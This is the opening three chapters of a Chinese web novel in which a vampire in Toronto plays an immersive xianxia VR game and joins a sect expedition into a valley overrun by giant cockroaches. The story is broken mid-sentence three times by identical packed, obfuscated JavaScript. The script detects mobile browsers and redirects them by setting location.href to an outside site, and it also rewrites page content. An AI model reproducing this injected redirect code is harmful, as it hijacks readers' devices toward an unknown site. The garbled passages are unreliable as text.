《骑着大螂去修仙》 1. 骑大螂1 无垢宗,弟子庐舍。 西南角的一方玲珑小院,屋前的杂草许久未理,在月色下张牙舞爪地扑向砖石地。 木门被栅死,微弱烛光透过纸窗,印出很淡很细的人影。 小院外,一男一女鬼鬼祟祟探头。 女孩身形圆润,梳着双丸髻,眼睛过分狭长,像是没睁开;男孩身量还未长开,体型偏瘦,头戴银冠,发丝高高束起。 “你干什么!” 女孩用力打了一下同伴,掌劲不留余地,男孩半边身子一歪,就听见她低声唤自己的名字:“余小羽!” “今晚是邱长老值宵禁,要是被抓到了,可没有我俩好果子吃!” “嘘!” 余小羽在唇边竖起食指,用眼神示意对方看向窗纸。 余小玉翻了个白眼,瞄向院中,嘴里还嘟囔着:“搞不懂,崔师妹到底哪惹着你了,你这疑神疑鬼的,搞的好像……” 下一秒,她就噤声了。 不知道是不是因为荒败的院落杂草衬托,窗纸上的人影分外漆黑,随着烛光摇晃,竟生出几分鬼魅之意。 忽然,像是受到了什么刺激,黑影遽烈地抖动起来。 崔师妹仰起脸,修长的脖颈线条紧绷,似乎在忍受某种巨大的痛苦! “糟了。” 余小玉说着就要冲进院子里,被余小羽生生拖住,压低音量吼道:“你再看仔细些!” 话音刚落,窗纸上的黑影再度产生变化。 余小羽的声音同时在耳边嗡响:“我上次去罗汉峰给邱长老送药,恰好遇上宗门里的几位长老在商议事情,说是前去万兽谷的弟子至今未归,仙盟里很可能有叛徒……” 余小玉揉了揉自己的眼睛,猛地抓住余小羽的臂膀,哆哆嗦嗦地打断了他:“我没看错吧?我没看错吧?” 窗纸上的人影猛地抖了起来,指尖延长,形同厉鬼。 “哇啦”一声,大片阴影泼上窗纸,渐渐渗出了显目的刺红。 余小玉失声惊叫! 房门轰的大开,一只惊慌失措的鸡扑腾着翅膀从屋中弹射飞出,紧跟着一道纤瘦的身板唰地跳出,中气十足一声吼:“哪里逃?” 院子里上演了一幕兵荒马乱的人鸡追逐战。 片刻过后,崔滢成功擒鸡,抹着汗抬头,正好对上栅栏外目瞪口呆略带心虚的两张脸,“咦”了一声。 “余师姐,余师兄。”她礼貌点头,“这么晚了,找我有什么事吗?” 余小羽还没开口脸便一扭,余小鱼面带微笑的掐着弟弟的大腿,道:“路过,路过。崔师妹,半夜杀鸡,好兴致啊,哈哈。” 她的眼神不动声色地落在崔滢的手上,五根锋利的钢爪嵌合在手指缝隙,上面滴淌着新鲜的血液。 “崔师妹杀鸡的武器。”她顿了顿,“还挺特别。” 崔滢也尬笑两声。 她提了提手中的鸡,“夜宵,一起?” “不了,不了。”余小羽还想说些什么,被余小鱼一掌捂住口鼻,生生钳制的动弹不得。“我们不擅厨艺,就不打扰你了。” 崔滢看着眼睛开始翻白的余小羽,欲言又止。 目送这姐弟俩走远后,崔滢的抬起的嘴角落下,垂眸看向手中慢慢停止挣扎的鸡,叹了口气。 回到屋里,闩上门,吹灭蜡烛,崔滢一只手握着鸡翅膀,一只手攥住鸡头,黑黝黝的眼睛盯着方才砍出的血口。 鸡还或者,眼皮含着凸出的眼珠,豆大的泪滑落,模糊的组织一起一伏。 她轻轻张嘴,森白的尖牙如春芽生长,缓缓探出唇舌。 然后咬了下去。 咕嘟咕嘟。 血肉撕裂的微妙声音在空气中响起。 苍白的喉间滚动,一丝烫血沿着嘴角溢下,她倏地松嘴,仰头喘息,舌头舔走剩下的痕迹,瞳孔里有一线幽绿闪过。 崔滢表情不动,四指弯曲,扣住耳后一掰,眼前跳出一个浮空面板,几个大字闪闪烁烁: 【是否退出游戏?】 抬手摁向【Yes】,烛火的形状瞬间停滞,时间在这一刻陷入静止。 - 游戏舱的门滑开,伽莱从里面坐起,摘掉身上的电线,玛丽迫不及待围上来道:“怎么样,感受如何?” “真实的可怕。” 伽莱面无表情吐出这几个字。 刚刚发生的所有,都是伽莱在《修仙人生》这部游戏里的体验。 她在游戏里的名字叫崔滢,一个身世悲惨的东方女孩。 最开始玛丽找到伽莱,说她的哥哥在卡内基梅隆大学读HCI(人机交互),最近参与了一个新项目的游戏开发正在寻找内测人员,这个游戏主打自由世界体验,每个区都有固定的角色,不同的选择会生成随机故事线。 真正吸引伽莱的,正是这最后一句的“随机故事线”。 - 她叫伽莱,伽莱·勒森魃。 一只生活在人类世界里的吸血鬼。 除了收养自己的那个东方医生,没有人知道伽莱的血族身份,而伽莱也不清楚医生对自己的接纳里是否包含出于对特殊物种的研究意愿。 十几年来,她们的关系始终不远不近。 医生对伽莱唯一的要求就是必须上学,每周有五天,伽莱都要去上夜校。 伽莱选了中文课。 原因无他,身边只有一个东方人,她想更了解那个医生,如此而已。 吸血鬼能在人类世界生存吗? 伽莱以前不懂这个问题的含金量,随着时间的流逝,她慢慢发现自己已经习惯了人类的生活。 习惯了空调,习惯了手机,习惯出门打车,习惯了刷短视频,甚至染上了不轻的游戏瘾。 抛开必须定期补充血液这一点,她已经活的和一个人类一般无二了。 伽莱不必在乎人类的评分系统,只是必须维持学习的习惯。她白天宅在房子里打游戏,看小说,太阳落山以后去上学,偶尔心情好的话还会跑到公园里打羽毛球,看热恋中的情侣拥吻,遛的狗就在脚边打喷嚏。 过程中,她也很认真地思考过逃跑这件事。 医生对于伽莱来说是神秘的,危险的神秘,神秘的哑巴,对伽莱的出身和过去闭口不谈,同时那一身冷淡坚硬酷似科学家的气质,又让伽莱怀疑她是否对自己的身体动过手脚——比如改造拼装,或者安置定位器什么的。 所以逃跑这件事也只是想想,那些危险的东西暂时停留在幻想。伽莱是一个只要舒适圈不破,她就能待到死的人。 玛丽是伽莱在夜校认识的好朋友。 如果在夜校喊上一声玛丽,大约会有一个冰球队的人会回头。当然,伽莱也没向她透露自己血族的身份,两个人在中文课上相识,因为一部小众的文字模拟器有了共同话题,继而开始分享游戏,成为朋友,是顺其自然的事。 然后,就是玛丽提到的,她哥哥在大学的项目《修仙人生》。 玛丽再三保证,这是一个创新性的项目,绝对前无古人,一旦成功,会是一次革命性的改变。话都说到这份上了,伽莱岂能有不心动的理由,一口应了下来。 直到亲眼见到了设备,亲自体验了游戏,伽莱才发现自己完完全全地低估了。 玛丽跟她说过,这部游戏主打自由世界体验,玩家登陆自动匹配角色,角色数据采样自玩家的精神意识。也就是说,不同分区里的同一个角色也会有不同的特点,而游戏里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269629|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伽莱和现实的伽莱,极有可能拥有相似的属性和特征。 而实践也说明了这一点。游戏里的崔滢,拥有和伽莱一模一样的血族特征。 更不要说自由世界和随机故事线。 总是有人说,地球其实就是一部巨大的游戏,每个人的轨迹和事件都是算法精心运作的结果,每一个看似随机的命运,实际都有巨量的算力在背后支撑。 这样的假设太过庞大。可现在,有一部游戏摆在面前,告诉她这都是可以做到的。 那简直是难以想象的技术。 伽莱没有理由放过这种机会。 她在游戏里以崔滢的身份待了三天,外界也才过去三个小时。 这三个小时消耗了她体内的大量能量,以至于伽莱在游戏中不得不画饼充饥,逮了只鸡来吸。不过经此一试,她也确认了那就是画饼充饥,游戏再怎么真实也只是游戏,现实中的躯体仍旧需要靠现实的食物来维持运转。 伽莱其实有点意犹未尽,但天快亮了。 告别玛丽和她的游戏之后,伽莱打车回了医生的公寓。 收养她的东方医生在多伦多圣迈克尔学院当教授,白天几乎见不到人,某种角度来说,两人的作息意外相合。等伽莱踩着破晓前的最后一刻曙光踏进公寓时,也不出意外的,见到了正好要出门的医生。 天气预报说多伦多将迎来今冬第一波冷空气,徐薇穿了一件燕麦色的加拿大鹅派克大衣,内搭浅驼色高龄羊绒衫,加绒的深色修身牛仔裤利落地收进一双哑光黑色雪地靴中,勃艮第红的格纹围巾随意绕了几圈,如同浆果在淡色中绽放。 她正扶着门框踩鞋跟,抬头就看见一脸老实的伽莱,表情一顿,直起身,靠着门沿看向她。 沉默的氛围在玄关和电梯之间流转。 徐薇的眼睛狭长带点锐度,东方人黑色的瞳孔像是模糊光圈的玻璃珠溶在眼白里,视线永远是钝的,但冷的令人心惊。 空气一寸寸被抽离。 “这次又是为什么?” 伽莱知道她在说自己迟归的事。 她低眉顺眼:“去朋友家了。” “朋友?” 伽莱没有去看她的表情,那冷淡的语气中却多少透露些讽刺,仿佛还有未说出口的下半句:你还有朋友? “冰箱的第二格有东西。我今天晚上没有课,八点就回。” 没有多余的话,徐薇径直掠过,鞋跟在绒面上踏出敲骨般的回音。伽莱知道那是什么意思。 意思是八点过后,她要是不在屋子里,恐怕得付出相当的代价。 徐薇走后,伽莱深深呼吸着失而复得的空气。 徐薇的房子如同一方样板间,像手术刀那样简约至近乎冷漠。餐厅与厨房连缀为一,全然敞开,仅由一方光滑如镜的黑色大理石中岛台分割,厨房里有一台医用冰箱,伽莱打开,第二格果然储存了新鲜的血袋。 她从不过问徐薇这些血袋从何而来。 伽莱咬破血袋,带着寒意的血液源源不断滑进喉咙,体内那阵危险的空虚渐渐消散,伽莱瘫在客厅宽大的灰色矮沙发上,扭头,目光越过冰冷的围栏。 灰蒙蒙的天空下,城市楼宇的轮廓如同巨大冰冷的积木堆叠,棱角分明。 凛冬的寒意无声渗透玻璃,无声蔓延至室内,与屋内的清冷寂静浑然交融。 伽莱忽然反应过来,自己正在叹息。 放空的大脑一直被《修仙人生》的游戏内容填充,只不过精神和神经没有交流好,这会意识到过后,伽莱果断拿起手机,给玛丽发了条信息。 【canine:那游戏真不错】 【[苹果]:[表情]】 【[苹果]:随时欢迎^^】 2. 骑大螂2 昼短夜长。 冬季,是伽莱最喜欢的季节。 伽莱不畏寒,回来时也只穿了一件深黑色高龄毛衣,板鞋和直筒牛仔裤,齐肩的卷发自然凌乱。 但为了看上去更加像一个人类,出门前她还是裹了一件大衣。 冬季的太阳分外虚弱,最后一线澄光湮灭时,伽莱准时踏出公寓大门。 绿植盖着厚重的冰雪,鞋跟在砖面的硬冰哒哒响,逐渐远去。 玛丽似乎知道她会在今晚降临,开门看见伽莱时脸上没有一丝惊讶,笑得暖洋洋: “晚上好,伽莱。” 一杯咖啡的时间过后,伽莱再次见到了那台机器。 比起“游戏设备”,她更愿意用“机器”这样的词来称呼。 房间中央躺着一间银灰色的舱室,长约三米,直径一米五,流线型的设计酷似胶囊,电线如同蛛网从四面八方连接,舱体中段环绕着一圈淡蓝色能量纹路,脉冲一般微微闪烁。 舱门是无缝式设计,感应到接近时无声滑开,露出内部暖白色的照明。 伽莱脱去大衣和高领,只穿着最简单的贴身衣裤躺进舱室中,冷空气贴着肌肤游行,不知名的液体从舱体释放,缓缓裹住了她的脊背,耳朵,最后留下五官像一座人面岛漂浮。 “这次还是三个小时。”伽莱动了动唇,透过冷气望向舱室外的玛丽,“三个小时后如果我没有动静……” “明白。”玛丽道。 - 崔滢睁眼的时候,天还是黑的。 走之前燃烧的蜡烛仍旧保持原来的长度,她垂眸,手里还握着那只鸡,鸡爪颤了一下,彻底没了动静。 基本可以确认,在她离开的这段时候,游戏里的时间也是冻结的。 进入游戏舱前,她跟玛丽深入了解过《修仙人生》的具体机制。 总的来说,自由世界不完全自由,随机故事线也不完全随机。崔滢在游戏里已有的身份决定了她的基础故事线,玩家可以自行开关自由模式或游戏模式。 崔滢打开游戏模式,提示面板瞬间跳出: 【新任务已送达】 【请在以下三项任务中选出一项。您的选择将会影响剧情走向】 【a.等候天明,晨练提升武力】 这个肯定不行。崔滢如今是见光死,前三天都告病缩在庐舍,只有太阳落山后才敢出来活动,更不要说顶着大太阳晨练,和一只鸡跳上烤肉架没区别。 【b.前往罗汉峰,参与调查万兽谷谜团】 这个看上去死亡概率也不小。 崔滢在这个游戏的宗旨就三个不——不惹事,不出头,不找死。 苟到最后就是胜利。 于是她看向最后一个选项。 【c.到藏经阁后方的山林散心】 看上去是个不错的选择。 但转念一想,这三个选项都代表着不同的故事线,绝对没有无用的方向。越是看上去平平无奇的选项,越可能藏着更大的陷阱。 比如这个选项c,说是散心,可谁知道散心过程中会遇到什么? 万一不慎撞见世纪大战呢? 万一不慎捡到遗落凡间的大男主呢? 有点晦气吧。 翻来覆去的比对,崔滢知道不能再拖了。 她干脆利落地选了中间的选项,手指触碰到的一瞬,提示面板化作轰然流光,扑向崔滢。 【正在转移到指定地点……】 崔滢掀开一只眼睛。 群山的风如同万重轻纱,层层叠叠刮过发丝。 悬崖之上,无垢宗弟子静默而整齐地站在月夜之下,雪白的广袖长衫如同一片亮云,裤脚束入踏云履,一丝不苟。 氛围肃穆似巨石当头,压的人喘不过气。 这种氛围只要感受一秒,崔滢就有点后悔选b了。 她将头歪了一个微不可闻的弧度,视线穿过重重人影,落在最前方的身影上。 不出意外,这次万兽谷的领头人物,就是余氏姐弟口中的那位邱长老了。 她的目光从广袖长袍的银线云纹上移,滑过冰蓝色的织锦束腰,越过卡在发髻上的竹箫,最后定在邱长老没有表情的脸上。 帅哦。 玛丽说过,这部游戏的预期市场主要集中在女性,如今见到这惊为天人的角色建模,崔滢才对这句话有了更为深刻的体验。 在余氏姐弟口中,邱长老就好像是什么索命的厉鬼,人却长得琨玉秋霜,一双眸子含着点雪的凉意,轻轻扫过众弟子,最后停在一个凸出的脑袋上。 脑袋反应极快,立刻缩回去,规规矩矩站好。 “……” “三个月前,万兽谷有八名弟子失踪,紧跟着,谷主庚翰池失联,仙盟最后收到的,是一条求救信息。” 崔滢关掉了即时翻译。 她发现自己能听懂。而且这位邱长老的声音很好听,像磨砂纸,不知道是不是用了所谓的“灵力”传音,仿佛就在耳边响起似的,有点点asmr的味道。 邱光誉继续道:“前往调查的总共有三个宗门,四十八名弟子,全都一去不返,至今杳无音讯。” “而就在昨天,万兽谷的结界打开了。” 这游戏的野心显然不止于中文玩家,每当出现关键名词的时候,视野的右下方总会出现名词解释。例如此刻,崔滢的右下方就有一行红色的小字: 【结界:中国玄幻小说中一种运用灵力手段,在特定空间范围内创造出的具有特殊规则或效果的“能量力场”或“独立空间”,本质上是一种人为制造的、可操控的、临时性或永久性的“边界”或“领域”。】 万兽谷打开结界,很明显,就是为了阻止外面的人进去,或是里面的人出来。 “万兽谷乃妖兽聚集之地,大部分的妖兽都在白天活跃,只有少部分昼伏夜出。这些妖兽从前由谷中弟子牵制,而如今谷内情况未知,危险重重,诸位务必打起精神,听明白了吗?” “是。” 低沉而整齐,像是一口钟嗡鸣,发出了震颤的声音。 “出发。” 崔滢的眼前闪过一道又一道的流光,身边的弟子纷纷御剑起行,衣袂猎猎,如瀑长发随风撕扯,笔直腰身一览无余,飒爽无比。 比起魔法师骑扫帚,这种御剑方式对崔滢来说显然更加新奇,驻足观看了好一会儿,才猛地反应过来,她也是其中之一。 更加令崔滢头皮发麻的是,邱光誉就在不远处,在悬崖的边缘望着她。 第二次对视了,这不是一个好信号。 一刻也不再耽搁,崔滢赶紧调出面板,点击“御剑”,下一秒腰间肉被什么撞了一下,长剑出鞘自动滑入脚下。 摇摇晃晃飞起来时崔滢才看见身边同伴的手势,连忙有样学样,脸上还是一本正经。 明知道是在游戏中,可是真正飞起来的时候,崔滢还是忍不住腿软了。 坐在扫帚上有一种安稳的实在感,可站在这一柄薄薄的剑上,烈风摇摆着身躯,脚下是万丈深渊,方才知高处不胜寒。 没有实打实的修为打底,像她这样借助游戏的便利,那种心虚和紧张是绝对不可避免的。 剑该飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269630|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多快就是多快,丝毫不管崔滢的死活。 “师兄!” 红色发带如同飘逸的蝴蝶,闪电般掠过一众弟子,最后稳稳停在长身玉立的男子旁边。宋如莺脚踩一柄蛇形弯剑,背手探头,闯进师兄木叶的视线,顺着他的眼神看去,开口:“你在看谁?” “那是外门的弟子吗?” 木泓眉间微凝,目光落在那人的剑鞘上。 内门或者进山弟子的剑鞘都有烫金刻纹,等级越高刻纹数目越多。可那个人的剑鞘却空空如也,显然是一个毫无经验的外门弟子。 问题就是。 外门的弟子,是如何得知这次万兽谷的行动的? “我去问问。” 木鸿正凝神思考,一道轻风掠过自己往前,宋如莺回头吐了下舌,做口型道:交给我吧。 “这位道友。” 肩上落了只手,崔滢吓一大跳,勉强维持住身形扭头,旁边不知何时多了一个女孩。 女孩身穿同款制服,只是外披一件对襟罩衫,和其余弟子区分开。她的头发用一根红发带高高束起,笑起来脸上浮现甜甜的梨涡,但不知道为什么,从那张脸上,崔滢感受不到任何温度。 “你叫什么名字?” “崔滢。” “你是哪座山的弟子?” “无垢宗。” “你是外门弟子吗?” “是吧。” 没有停顿,没有疑惑,没有起伏,诚实的令人惊异。 宋如莺的笑容有点僵住了。 崔滢回答的语气太过平常,甚至不能够叫做理直气壮,宋如莺低了下眼睛,崔滢听到了她的笑声,无法分辨那到底是无奈,还是恼怒。 “我叫宋如莺。”她说,“一会进谷一定要跟紧大部队哦,像你这样的弟子,走丢可是十分危险的。” “好呀。”依旧是不假思索。 两人并行飞了一会儿,谁也没看谁。 宋如莺忽然又道:“崔滢。” “你知道万兽谷里最难驯的妖兽是什么吗?” 崔滢都快打开游戏模式开启对话框自动对话了,闻言抬起的手一停,拐了个弯挠头道:“很重要吗?” 宋如莺笑了笑。 “那是万兽谷里最可怕的生物。” “妖兽志里有言,此物形影难捕,昼伏夜出,其体坚逾玄铁,纵受雷霆万钧之击亦能无虞,断其首则双身并走,裂其躯则数体重生,纵以烈焰焚之,其卵犹藏于隙缝深处,静待暗夜复萌……” “聚散如阴兵借道,行动如鬼齿啃啮。” “据说已经活了上千年。正常的妖兽修炼到这个份上早都成仙了,可是那怪物至今都待在万兽谷底,每一个想驯养它的修士,最后无不死状惨凄,魂飞魄散。” 崔滢若有所思:“哦。” “……” 确认了,排除装的可能性,这人不是傻就是缺根筋,情绪稳定的就像是死了一样。 宋如莺的脑袋转向前方:“那里就是万兽谷了。” “嗯。” 崔滢黑黝黝的眼睛背后,血族的夜视能力正在发挥作用。 山脊的轮廓被一种冷质的荧光细致描摹,那些密林树冠在幽微的夜视光下,呈现出深浅不一的灰绿色泽。 山谷的沟壑如巨大的伤口般在脚下纵横,崔滢看向说话的宋如莺,她的眼睛如同两颗微型冷焰火,在崔滢的视野中轻轻晃动。 宋如莺也注意到崔滢不同寻常的御剑速度和僵硬的始终维持的施术手势,只不过她从头到尾都没有指出崔滢的漏洞,连嘴角的弧度都没变过。 3. 骑大螂3 队伍落地时,崔滢的身体已经跟木乃伊没两样了。 她硬邦邦地走下来,藏在弟子们中间,在他们面前横亘着一道万丈深渊,像是创世刃划出的大地伤口,阴风翻腾倒灌,弟子们排列而立,衣摆与衣摆打在一起。 邱长老在最前方,背对众人,崔滢看见他周身气流正在产生遽烈的变化,漩涡般的灵力冲天而起,如同一柄利剑,直直劈向坚硬的结界! 崔滢连动作都没看清,甚至连心情都没准备好,就感受到磅礴的余波气流轰向自己,几欲被掀翻! 崔滢嘴里冒出了一句母语脏话。 一只手稳稳摁住后背,她勉强站稳,大喘气,正要道谢,就听见对方的声音在耳边凉凉落下: “你剑鞘上的刻纹呢?” 崔滢看向来人。 嚯,又是一个美丽的东方男子。 她知道规律,凡是长相特别突出的,多半在剧情里扮演着重要角色。即便她现在的故事线没有遇上,但在其他并行的线里,ta们仍然发挥着举重若轻的作用。 他刚刚说什么,剑鞘? 崔滢的视线乱转,最终锁定绑在腰际那个纤细的木头盒子上。 她想起来,方才宋找自己的时候,眼神似乎也落在了自己的剑鞘上。 莫非剑鞘有什么问题? “师兄,别为难人家小师妹了。” 虽然才刚认识没多久,但崔滢已经记住了这个声音。 宋湘年将木泓拉走,眼睛还笑着,识海已经传音道:师兄,这个叫崔滢的外门弟子有问题,先观察一段时间,不要打草惊蛇。 目送走这两对拉拉扯扯的师兄妹后,崔滢叉腰,眼露疑惑,原地呼出口气。 果然还是得做些功课么? 要不然玩都玩不懂。 “结界开了!” 数双踏云履纷纷起步,衣袂裹风声四起,如同白鸟穿过结界落入无边际的深黑之中。每个人的动作都干脆,利落,那种集体意志透出来的冷峻,令崔滢的心神为之激荡。 “下面见,崔师妹。” 宋如莺掠过崔滢,修长的脖颈线条如同仙鹤,振翅跃入深渊之中。 唰唰—— 像是接力,一个接一个,谷底亮起灵力的柔光,渐渐形成一团细小的蒲公英,为后来的弟子提供落脚的方位提醒,邱长老最后下谷。 “把灵力都灭了。”邱长老淡声道,“谷中妖兽沉睡,勿要扰了它们的清净。” 谷底瞬间陷入了彻底的黑暗。 一层淡淡的灵力屏障笼罩在队伍上方,用以隔绝人迹和弟子灵力不被察觉。崔滢跟在队伍的后方,左看看右看看,新奇得很。 殊不知这些小动作都落在了站在最后负责断后的大师兄木泓眼里,他嘴角微抽,眉心紧拧,一刻也不曾放松。 “停。” 邱长老半蹲下,撩袍伸指抹了一下地面,其他弟子原地不动,大师兄木泓在后方守护,唯有宋如莺弯腰看去,添嘴出声:“这是碧落空的药粉?” “碧落空的人也来过这里,估计也是接到了万兽谷的求救信号。”邱长老捻了捻药粉,放在鼻尖嗅了一下,“白棋花,对人无害,却能对妖兽的嗅觉产生刺激。” “他们在这里遭遇了围攻。” 宋如莺点点头。 “再找找看有没有别的痕迹。” 山谷里地形地势复杂,分岔众多,偶尔还会路过沉睡的巨型妖兽群,即便有长老的屏障作保,所有人还是下意识屏住呼吸。如果不是崔滢拥有夜视能力,怕是都要以为自己走丢了,身边竟听不到呼吸的声音。 接下去,邱长老和宋如莺陆陆续续发现了其余两个宗门的痕迹,皆是仙盟里数得上号的门派,不仅有武器散落,越是往前,战斗的痕迹越是触目惊心。 直到有弟子被绊倒发出惊呼,所有人才注意到脚下那些形似石影的东西,竟是无数残肢断臂,以及死不瞑目的人头。 “……” 再冷漠的人也无法对这幅景象无动于衷。 黑暗模糊了形体,扩大了死亡带来的阴翳与恐惧,有人再也忍不住,闻着空气中的腥味用力干呕起来。 木泓看向崔滢的表情。 ……何止是平静。 “这是乾元宗的人。”宋如莺攥紧了地上捡起的衣料碎片,声音沉重,“他们应该是最后一个收到万兽谷求救的门派。” 乾元宗以剑闻名,大师姐任喜儿年纪轻轻便已臻金丹,上个月刚才仙盟对试中力压群雄夺得魁首,不出意外,这场万兽谷的行动她也参与其中。 连这样的人物都在这里下落不明,万兽谷中,究竟有什么秘密? “你在干什么?” 木泓冷冷的声音从头顶落下,崔滢捂着耳朵回头,“哦”了一声:“没事,有点吵。” “吵?” 周围听见对话的弟子纷纷扭头看向崔滢。 深谷寂静的长风刮过,每个人的眼神都很沉默。 “别耍小动作。”木泓安静半天也才吐出这么一句,“若是弄醒了谷中妖兽,你我都难逃一死。” 木泓把崔滢当嫌疑人,说这样的话,意在威胁对方。却不知崔滢好像完全没体会到话中别意,只是惊讶地看着木泓:“啊?” “……” “它们。” 崔滢站在队伍里,对着木泓开口道。 血族视野中,所有人都变成了一团剧烈燃烧边界模糊的橙色烈焰,背景中巨大的土石壁垒呈现出一种死寂的深蓝灰色调。 头顶,无数妖兽的眼睛燃着鬼火,如同夜空繁星,密密麻麻注视着这一小撮闯入山谷的外人。 “……不是一直都醒着吗?” ! 崔滢的尾音在一瞬间变得十分缓慢。 妖灵之力轰然砸下,静谧的山谷撕开了最后一线平衡与体面,所有人的周身纷纷燃起护体金光,谷底光芒大盛,所有景物一览无余。而在他们的头顶,无数张着翅膀的巨型妖兽攀在土壁上呲着利牙,发出贯耳的尖啸! 是血蝠! “不要正面冲突!” 邱长老的灵音灌入每一个弟子的耳朵,“我们的目标是找人!我和木泓断后,如莺,你带所有人去前面的洞穴!” “好嘞!” 宋如莺高声喊:“大家小心,这里可能会有陷阱……” 话音戛然而止,宋如莺唰然拔剑,似乎是看到了什么不可置信的一幕,瞳孔瞬间缩到了针尖大小! 霎时,一炷香前她和崔滢的对话在耳边响起。 -那是万兽谷里最可怕的生物。 -此物出行时,未见其影,先闻其声,动如鬼齿啃啮…… 好吵! 崔滢捂住耳朵,血族异于常人的五感此刻成了致命的来源,四面八方的细碎声响汇成磅礴刺耳的动静,在崔滢的耳朵里翻搅! 她甚至认出了这动静的来源。 阴暗潮湿的地下室,冰冷生苔的棺材中,对于崔滢,或者对于伽莱来说,那是再寻常不过的陪伴。 簌簌簌—— 鬼影重重间,两根修长的触须扫过宋如莺的小腿。 她脸色一白。 密密匝匝的触须从黑暗中涌现。 椭圆形的扁形身躯,体表敷着蜡质的光泽,大型深棕色复眼倒映着一张张惊恐的表情。 崖壁上,四面八方。 黑黢黢的虫海在翻涌! 长着倒刺和刚毛的腿在地面快速移动,发出刺耳的簌簌声,如同阴兵过境,迅速包围了无垢宗的弟子。 这便是妖物志中记载,存活时间最久,生命力最顽强,万兽谷中最可怕的生物—— 崔滢:“蟑螂。” 众人惊声:“是蜚蠊!” 其中一只张开锋利的咀嚼式口器,对准近在咫尺的宋如莺狠狠咬了下去! 锵! 宋如莺挥剑自卫,卡住那堪比锻铁的口器,苍白的脸上毫无血色,但声音尚且冷静: “大家不要慌!这些蜚蠊是在保护那洞穴,只要控制住蠊后……” 理论上是这样。 但这些蜚蠊约有一臂大小,口器锋利表皮坚硬,每一只都有练气后期的修为,这些无垢宗的弟子别说打过,怕是连自保都难! 滋滋滋滋! 人群中暴起刺目的电流,青虹剑裹着金丹灵力气贯山海的一劈,罡气轰然流淌,蓝紫色的电流犹如黑夜中的铁树银花,爆开一串串火花! 木泓飞身而来,犹如天神降临,原地立剑布阵,周身金光猎猎,吼道:“快走!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269631|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不再犹豫,弟子们前赴后继冲进洞穴。 跨过洞口时,宋如莺才察觉入口有一道传送阵法,入阵之人会被随机传送到不同的地点,若是原本就成群结队的势力,一旦选择进入洞穴,瞬间就会被分的七零八落。 宋如莺喊了一声糟糕。 执行任务的弟子为了防止走失,每个人都会在手腕上绑一道追踪符,在黑暗中即使没有光亮的指引,也能准确地找到同门。 问题就在刚刚,她根本没有在崔滢的手上看到追踪符。 宋如莺当然不是怕她走丢。 万兽谷疑点重重,现有的线索都指向仙盟里出了内鬼,不仅掌握了所有仙门的动向,还能在万兽谷中精准截杀,片甲不留。 这样一个巨大的嫌疑人消失在他们的眼皮子底下,对谁来说都不是好事。 尤其是刚刚,蜚蠊忽然冒出,所有人都惊慌失措,而崔滢竟能站在原地一动不动,那些蜚蠊也并不去攻击她,这是为什么? 蜚蠊和血蝠,这些妖兽早不出现晚不出现,偏偏在他们寻到这个洞穴的时候出现,是这个地方藏着什么,还是有谁在背后刻意安排,目的又是什么? 宋如莺还在犹豫要不要把这件事报告给邱长老,但是她很快意识到自己不能犹豫了,因为身边还有一个更加正直的人,一旦他意识到崔滢没有跟他们在一起,立马就会暴露风声。 宋如莺第一时间拽住了现身的木泓。 “师兄,我有个想法。” 这种时候最不能说“别冲动”,“冷静些”之类的话,因为那反方向说明对方在你眼里就是冲动不冷静的,不仅安抚不下来,可能还会火上浇油。 宋如莺没有用识海传音。 她踮起脚,在木泓耳边低语几句,后者的眼帘一垂,眸底风光晦暗不明。 这一边,冲进洞口之后,崔滢就和大部队失联了。 失联之后,就是迷路。 虽然迷路,她却并不认为是自己的问题。首先从玩家视角看,那个洞口有奇怪的力场;其次游戏就是这样,发生的一切都是冥冥之中自有安排,迷路说不定也是触发剧情的一部分。 这就是崔滢为什么喜欢玩游戏。 所有的意外都是命运提前做好的安排,不用想太多,也不必过分忧心。 如果生活也能像这样顺其自然就好了。 为了防止游戏体验太无聊,崔滢再次打开游戏模式,提示面板准时跳出: 【已错过剧情】 崔滢一顿。 什么意思,错过什么? 她方才一路上开的都是自由模式,没有选项的指引,她错过了什么? ……算了。 毕竟自由模式,有利有弊,像体会不被束缚的人生,就必须要付出遗憾的代价,不可避免的。 【已进入任务关键地点,宾慈王穴。】 崔滢没有忘记,她此行的任务是为了调查万兽谷谜团。 前后三个宗门的弟子在此地失联,一路上的痕迹她都有清楚的看见,离得远的没有尸体,反而靠近洞穴的地方出现了死尸,说明前两个宗门在靠近以前就灰飞烟灭了; 而乾元宗弟子的尸体距离洞穴入口几步之遥,说明他们看见了前两个宗门留下的痕迹,宾慈王穴中极有可能有乾元宗的活口。 【触发支线剧情:拯救魔王】 